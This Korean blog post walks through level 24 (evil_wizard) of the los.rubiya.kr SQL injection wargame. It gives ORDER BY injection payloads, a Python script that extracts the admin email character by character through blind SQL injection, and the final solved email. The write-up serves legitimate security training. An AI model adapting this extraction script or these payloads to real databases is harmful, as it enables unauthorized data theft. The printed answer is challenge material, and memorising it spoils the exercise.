본문 바로가기

워게임

los rubiya - 24(evil_wizard) 풀이

악마마법사

 

시작하겠습니다.

 

 

보시면..

 

전 문제랑 같은데 중간에 same with hell_fire? really? 하네요 전 문제랑 같아 보이냐고 저한테 물어보네요!

 

한 번 똑같이 해보겠습니다.

 

?order=if(id='admin' AND length(email)=0,1,100) limit 0,1

 

거짓이면 맨 위에 rubiya가 나오고

 

 

?order=if(id='admin' AND length(email)>0,1,100) limit 0,1

 

참이면 admin이 맨 윗줄에 나온다..

 

음..? 제 눈에는 같아 보이네요

 

한 번 제가 전에 짯던 (23번 hell_fire에 썻던) 코드를 그대로 가져오고

url만 수정하고 길이 값도 구하지 않고 그냥 충분히 주겠습니다.

 

import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********

url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php" #공격할 url 작성

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Cookie": "PHPSESSID=g2mjo4aaa262hjvanp12295h3k"
} #header 기본 구문, 쿠키도 작성


def blind_sqli(blind_query) :
    while True :
        query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")

        index_value = "rubiya" #참 거짓 식별용

        value = binarySearch(query,index_value)
        print(value + "\n")



def binarySearch(query, index_value) :
    s = 1
    value = ""

    for j in range(50) :
        for i in range(32, 127) : #공백부터 ~까지 대입
            data = {
                "order": blind_query.format(query, s, i)
            }

            response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기

            if index_value not in response.text :
                value += chr(i)
                s+=1
                print(value) #잘되나 확인용

    return value


blind_query = "if(id='admin' AND ascii(substring({},{},1))={},1,100) limit 0,1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작

 

 

실행하고 email을 입력하고 기다려 보겠습니다.

.com나오면 끝난 거겠죠!

 

 

뭐지..

 

제 눈에는 전 문제랑 같네요!

 

?email=aasup3r_secure_email@emai1.com

 

 

끝!

 

찾아보니 전 문제에 정렬을 id 랑 score 칼럼 명으로 구별을 했는데

여기서 score이랑 id랑 정렬을 해도 같은 값이 나온다고 하네요!

 

근데 저는 애초에 다르게 풀었으니 상관없겠죠! 이런 방법도 있다고 알아 두겠습니다 감사합니다

.

.

.

.

.

만약 풀이가 궁금하시면 전 23번 문제 보시면 되요 제가 설명을 잘 못 했지만 조금이나마 참고 되길 바래요

 

https://mynameisarke.tistory.com/60

 

los rubiya - 23(hell_fire) 풀이

시작하겠습니다. union을 못쓰는데 admin의 email을 찾아야만 하네요 그럼.. 일단 order에 1을 입력해 보겠습니다. ?order=1 1이면 저렇게 나오네요 그럼 한번 if문을 사용해 보겠습니다. ?order=if(id='admin' AN

mynameisarke.tistory.com

 

'워게임' 카테고리의 다른 글

los rubiya - 26(red_dragon) 풀이  (0) 2023.05.26
los rubiya - 25(green_dragon) 풀이  (0) 2023.05.25
los rubiya - 23(hell_fire) 풀이  (0) 2023.05.24
los rubiya - 22(dark_eyes) 풀이  (0) 2023.05.23
los rubiya - 21(iron_golem) 풀이  (0) 2023.05.18